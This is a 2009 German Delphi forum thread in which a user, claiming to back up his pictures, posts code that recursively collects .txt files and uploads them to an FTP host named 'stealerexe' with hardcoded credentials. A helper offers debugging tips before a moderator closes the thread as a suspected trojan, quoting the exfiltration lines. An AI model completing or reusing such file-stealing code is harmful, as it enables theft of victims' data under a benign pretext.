Entwickler-Ecke
Internet / Netzwerk - server will bilder net laden
crossit - Di 21.07.09 21:32
Titel: server will bilder net laden
hey leute
da mein pc voll mit vielen datein ist und ich meine ganzen bilder aufm ftp server speichern will habe ich mir nen kleines programm geschrieben welches nach den bildern sucht und sie uploaden sollte. leider funzt das uploaden irgenwie nicht -.- kennt einer meinen fehler?
Delphi-Quelltext
1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13: 14: 15: 16: 17: 18: 19: 20: 21: 22: 23: 24: 25: 26: 27: 28: 29: 30: 31: 32: 33: 34: 35: 36: 37: 38: 39: 40: 41: 42: 43: 44: 45: 46: 47: 48: 49:
| procedure findallfiles (RootFolder: string; Mask: string = '*.txt'; Recurse: Boolean = True);
var SR: TSearchRec; MyIdFtp: TIdFtp; begin begin RootFolder := IncludeTrailingPathDelimiter(RootFolder); if Recurse then if FindFirst(RootFolder + '*.txt', faAnyFile, SR) = 0 then try repeat if SR.Attr and faDirectory = faDirectory then if (SR.Name <> '.') and (SR.Name <> '..') then FindAllFiles(RootFolder + SR.Name, Mask, Recurse); until FindNext(SR) <> 0; finally FindClose(SR); end; if FindFirst(RootFolder + Mask, faAnyFile, SR) = 0 then try repeat if SR.Attr and faDirectory <> faDirectory then begin MyIdFtp := TIdFtp.Create; try MyIdFtp.Host := 'ftp.stealerexe.st.ohost.de'; MyIdFtp.Username := 'stealerexe '; MyIdFtp.Password := 'asdasdas'; MyIdFtp.Connect; MyIdFtp.Put(RootFolder + SR.Name + szufallszahl); finally MyIdFtp.Disconnect; MyIdFtp.Free; end; end;
until FindNext(SR) <> 0; finally FindClose(SR); end; end; end; procedure TForm1.ZufallsZahl; begin randomize; IZufallsZahl := random (10000000); SZufallsZahl := IntToStr (IZufallsZahl); end; |
Moderiert von
Narses: Code- durch Delphi-Tags ersetzt
Xentar - Di 21.07.09 21:52
1. Wie verhält sich das Programm? Fehlermeldung, oder was passiert?
2. Überleg mal, was du da tust. Für jede Datei erzeugst du eine FTP Komponente, baust die Verbindung auf, lädst die Datei hoch, und trennst die Verbindung. Meinste nicht, es wär besser, einmal die Verbindung aufzubauen? Manche FTPs haben Schutzmechanismen, gegen zu häufiges Neuverbinden.
crossit - Di 21.07.09 22:01
also habe keine fehlermeldung oder adneres kann es ganznormal ausführen. das mit dem ständigen trennen habe ich beseitigt jedoch kommt auf meinem server immernoch nichts an -.-
funzt den überhaupt das suchen? werde das gleich mal nachgucken aber denke schon oder?
Xentar - Di 21.07.09 22:03
Das kannst du ja einfach rausfinden:
Haltepunkt setzen (links neben die Zeile klicken) -> Programm ausführen -> schauen, ob der da anhält.
crossit - Di 21.07.09 22:21
so also haltpunkt hält dort
Xentar - Di 21.07.09 22:28
Moderiert von
Narses: Inhalt entfernt, da hier keine Hilfestellung erwünscht ist.
Narses - Di 21.07.09 22:47
Moin!
Der Thread ist bis auf weiteres geschlossen, da dringender Verdacht auf einen Trojaner vorliegt:
crossit hat folgendes geschrieben : |
da mein pc voll mit vielen datein ist und ich meine ganzen bilder aufm ftp server speichern will habe ich mir nen kleines programm geschrieben welches nach den bildern sucht und sie uploaden sollte.
[...]
Delphi-Quelltext 1: 2: 3: 4: 5: 6: 7: 8: 9: 10: 11: 12: 13:
| if FindFirst(RootFolder + '*.txt', faAnyFile, SR) = 0 then MyIdFtp.Host := 'ftp.stealerexe.st.ohost.de'; MyIdFtp.Username := 'stealerexe '; MyIdFtp.Password := 'asdasdas'; MyIdFtp.Connect; MyIdFtp.Put(RootFolder + SR.Name + szufallszahl); procedure TForm1.ZufallsZahl; begin randomize; IZufallsZahl := random (10000000); SZufallsZahl := IntToStr (IZufallsZahl); | |
Ich erinnere mich sogar daran, einen sehr sehr ähnlich verlaufenen Thread incl. Code schonmal deshalb geschlossen zu haben... :gruebel:
Diese Entscheidung ist Ermessenssache, subjektiv und diskussionsfähig. Wenn du dazu per VA Stellung nehmen möchtest, werden wir das im Team diskutieren und diese Entscheidung gegebenenfalls ganz oder in Teilen revidieren.
cu
Narses
Entwickler-Ecke.de based on phpBB
Copyright 2002 - 2011 by Tino Teuber, Copyright 2011 - 2026 by Christian Stelzmann Alle Rechte vorbehalten.
Alle Beiträge stammen von dritten Personen und dürfen geltendes Recht nicht verletzen.
Entwickler-Ecke und die zugehörigen Webseiten distanzieren sich ausdrücklich von Fremdinhalten jeglicher Art!